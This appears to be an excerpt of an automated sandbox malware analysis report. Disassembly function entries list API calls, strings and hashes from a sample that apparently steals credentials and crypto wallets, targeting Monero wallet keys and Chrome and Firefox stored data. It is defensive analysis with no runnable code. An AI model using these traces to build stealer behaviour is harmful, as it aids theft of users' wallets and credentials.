Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 5cb490017541fb785a86d6aec0756a9512c5f0f8a553616f6c7905f8febe817c
Instruction ID: 742569796b18ed0470955bcf606da2d843b8c6bb4fe10fa1d81abbfc4fa15dca
Opcode Fuzzy Hash: 5cb490017541fb785a86d6aec0756a9512c5f0f8a553616f6c7905f8febe817c
Instruction Fuzzy Hash: 19310CB1901118AADB18EFA0DD96FDEBBB8AF04300F4451A9F21576281DF706A88CF65

Function 00EB8950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00EC0E10,00000000,?), ref: 00EB89BF
RtlAllocateHeap.NTDLL(00000000), ref: 00EB89C6
wsprintfA.USER32 ref: 00EB89E0

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Strings

%dx%d, xrefs: 00EB89D7

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 9ab5c429fbefd055df3ec9de96fa431e2391832fd5c5ce3bb845412b8d56bf9e
Instruction ID: ab98d28d97a94fa5f36543f4e5148b9864a6a603ff0f5d02303afe6b876a9cf1
Opcode Fuzzy Hash: 9ab5c429fbefd055df3ec9de96fa431e2391832fd5c5ce3bb845412b8d56bf9e
Instruction Fuzzy Hash: CD2108B1A44208AFDB14DF94DD49FAEBBB8FB49710F104529FA25A73C4C775A940CBA0

Function 00EAA090 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 34libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00EAA098

Strings

connect_to_websocket, xrefs: 00EAA0B3
free_result, xrefs: 00EAA0C9
C:\ProgramData\chrome.dll, xrefs: 00EAA093

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: C:\ProgramData\chrome.dll$connect_to_websocket$free_result
API String ID: 1029625771-1545816527
Opcode ID: af5bd6705a4e48dadcb4dd0faa9834d0b017072ae59ae25a757f77ea610191ee
Instruction ID: cff379deb7cc96155dc78918ed44f495f38e06b025a2433d8b33380a48aebf15
Opcode Fuzzy Hash: af5bd6705a4e48dadcb4dd0faa9834d0b017072ae59ae25a757f77ea610191ee
Instruction Fuzzy Hash: 41F09078645304AFC73BAB60E94CB6632B4E34B304F112538F025AB3C4C7B5A9C4CB52

Function 00EB8EE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00EB96AE,00000000), ref: 00EB8EEB
RtlAllocateHeap.NTDLL(00000000), ref: 00EB8EF2
wsprintfW.USER32 ref: 00EB8F08

Strings

%hs, xrefs: 00EB8EFF

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 2c4737adc07a3067f3d997d8b899d48e4a30d15bb409cea210c5ef0ca1718ef9
Instruction ID: 7c496cf518ee3eabcebc58ff30cc03ec571e179bf354eb95c5668563e89cd1ef
Opcode Fuzzy Hash: 2c4737adc07a3067f3d997d8b899d48e4a30d15bb409cea210c5ef0ca1718ef9
Instruction Fuzzy Hash: B5E0EC75A44309FBDB28DBD4ED0EE6D77B8EB05701F0041A4FD1997380DA719E509B91

Function 00EAA990 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

Part of subcall function 00EB8CF0: GetSystemTime.KERNEL32(00EC0E1B,01BFB730,00EC05B6,?,?,00EA13F9,?,0000001A,00EC0E1B,00000000,?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EB8D16

Part of subcall function 00EBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00EBAC82
Part of subcall function 00EBAC30: lstrcat.KERNEL32(00000000), ref: 00EBAC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00EAAA11
lstrlen.KERNEL32(00000000,00000000), ref: 00EAAB2F
lstrlen.KERNEL32(00000000), ref: 00EAADEC

Part of subcall function 00EBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00EBAAF6

DeleteFileA.KERNEL32(00000000), ref: 00EAAE73

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 0c3265e1d01ecc163221457dbeddb53b036c6c3f831574ec4917229bb6d4521d
Instruction ID: 1f2ea7184bbd323a691f4bb6a8b6ffd72987e33e74a55ea1109c644bc14a9bd9
Opcode Fuzzy Hash: 0c3265e1d01ecc163221457dbeddb53b036c6c3f831574ec4917229bb6d4521d
Instruction Fuzzy Hash: 76E1E172910108ABCF15FBA4DDA2EEF7379AF14300F5495B9F12676191EF306A48CB62

Function 00EAD500 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

Part of subcall function 00EB8CF0: GetSystemTime.KERNEL32(00EC0E1B,01BFB730,00EC05B6,?,?,00EA13F9,?,0000001A,00EC0E1B,00000000,?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EB8D16

Part of subcall function 00EBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00EBAC82
Part of subcall function 00EBAC30: lstrcat.KERNEL32(00000000), ref: 00EBAC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00EAD581
lstrlen.KERNEL32(00000000), ref: 00EAD798
lstrlen.KERNEL32(00000000), ref: 00EAD7AC
DeleteFileA.KERNEL32(00000000), ref: 00EAD82B

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 8a2ae259f9088c77342fcfeff1e52ebcbcddfa8d80c412a57350231d19fec04b
Instruction ID: 8a481c6e8b510d50d214599e5a63919f34ad3d3ccfa64d6c85165705fe20d24a
Opcode Fuzzy Hash: 8a2ae259f9088c77342fcfeff1e52ebcbcddfa8d80c412a57350231d19fec04b
Instruction Fuzzy Hash: DC910F72910108ABCF18FBA4DDA6EEF73B9AF14300F545579F12676191EF306A48CB62

Function 00EAD880 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

Part of subcall function 00EB8CF0: GetSystemTime.KERNEL32(00EC0E1B,01BFB730,00EC05B6,?,?,00EA13F9,?,0000001A,00EC0E1B,00000000,?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EB8D16

Part of subcall function 00EBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00EBAC82
Part of subcall function 00EBAC30: lstrcat.KERNEL32(00000000), ref: 00EBAC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00EAD901
lstrlen.KERNEL32(00000000), ref: 00EADA9F
lstrlen.KERNEL32(00000000), ref: 00EADAB3
DeleteFileA.KERNEL32(00000000), ref: 00EADB32

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 58df11aafa4e3bea6a8ef5079e44306309b1f2bee65b05bb3128377ed8a8450f
Instruction ID: 95b3da9714cbc363a0a4a0730d729eee919c1e072f3f71072cb2c8f346d81026
Opcode Fuzzy Hash: 58df11aafa4e3bea6a8ef5079e44306309b1f2bee65b05bb3128377ed8a8450f
Instruction Fuzzy Hash: 3F81FE72920108ABCF18FBA4DDA6EEF73B9AF14300F445578F11676191EF306A48CB62

Function 00F1FED7 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00F1FF9E
___AdjustPointer.LIBCMT ref: 00F1FFC1
___AdjustPointer.LIBCMT ref: 00F2005D

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
Instruction ID: c03b811457129bc2238d03bf924130ca189b16d6775d1013b04de404c2aa71eb
Opcode Fuzzy Hash: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
Instruction Fuzzy Hash: BB51D073900216AFEB29CF14D841BFA77A5FF41320F24422DE81686592EB75ED85FB90

Function 00EAA560 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00EAA664

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Strings

v20, xrefs: 00EAA571
v10, xrefs: 00EAA5C6
@, xrefs: 00EAA614

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: AllocLocallstrcpy
String ID: @$v10$v20
API String ID: 2746078483-278772428
Opcode ID: 216b03d865e9fe38dbce985a89565aeb19a9cf0ec7889c92c9d4eda626f865b4
Instruction ID: 59989523922d550c5867e86cff175e5188b0a037bf8fdc813800c0a81c746775
Opcode Fuzzy Hash: 216b03d865e9fe38dbce985a89565aeb19a9cf0ec7889c92c9d4eda626f865b4
Instruction Fuzzy Hash: 2D512974A10208ABDF14EFA4CD96FEE77B5AF45304F449028F90A7F291EB706A45CB51

Function 00EAF5A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00EBAAF6

Part of subcall function 00EAA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EAA13C
Part of subcall function 00EAA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EAA161
Part of subcall function 00EAA110: LocalAlloc.KERNEL32(00000040,?), ref: 00EAA181
Part of subcall function 00EAA110: ReadFile.KERNEL32(000000FF,?,00000000,00EA148F,00000000), ref: 00EAA1AA
Part of subcall function 00EAA110: LocalFree.KERNEL32(00EA148F), ref: 00EAA1E0
Part of subcall function 00EAA110: CloseHandle.KERNEL32(000000FF), ref: 00EAA1EA

Part of subcall function 00EB8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00EB8FE2

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

Part of subcall function 00EBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00EBAC82
Part of subcall function 00EBAC30: lstrcat.KERNEL32(00000000), ref: 00EBAC92

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00EC1678,00EC0D93), ref: 00EAF64C
lstrlen.KERNEL32(00000000), ref: 00EAF66B

Strings

^userContextId=4294967295, xrefs: 00EAF69C
moz-extension+++, xrefs: 00EAF6AD

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
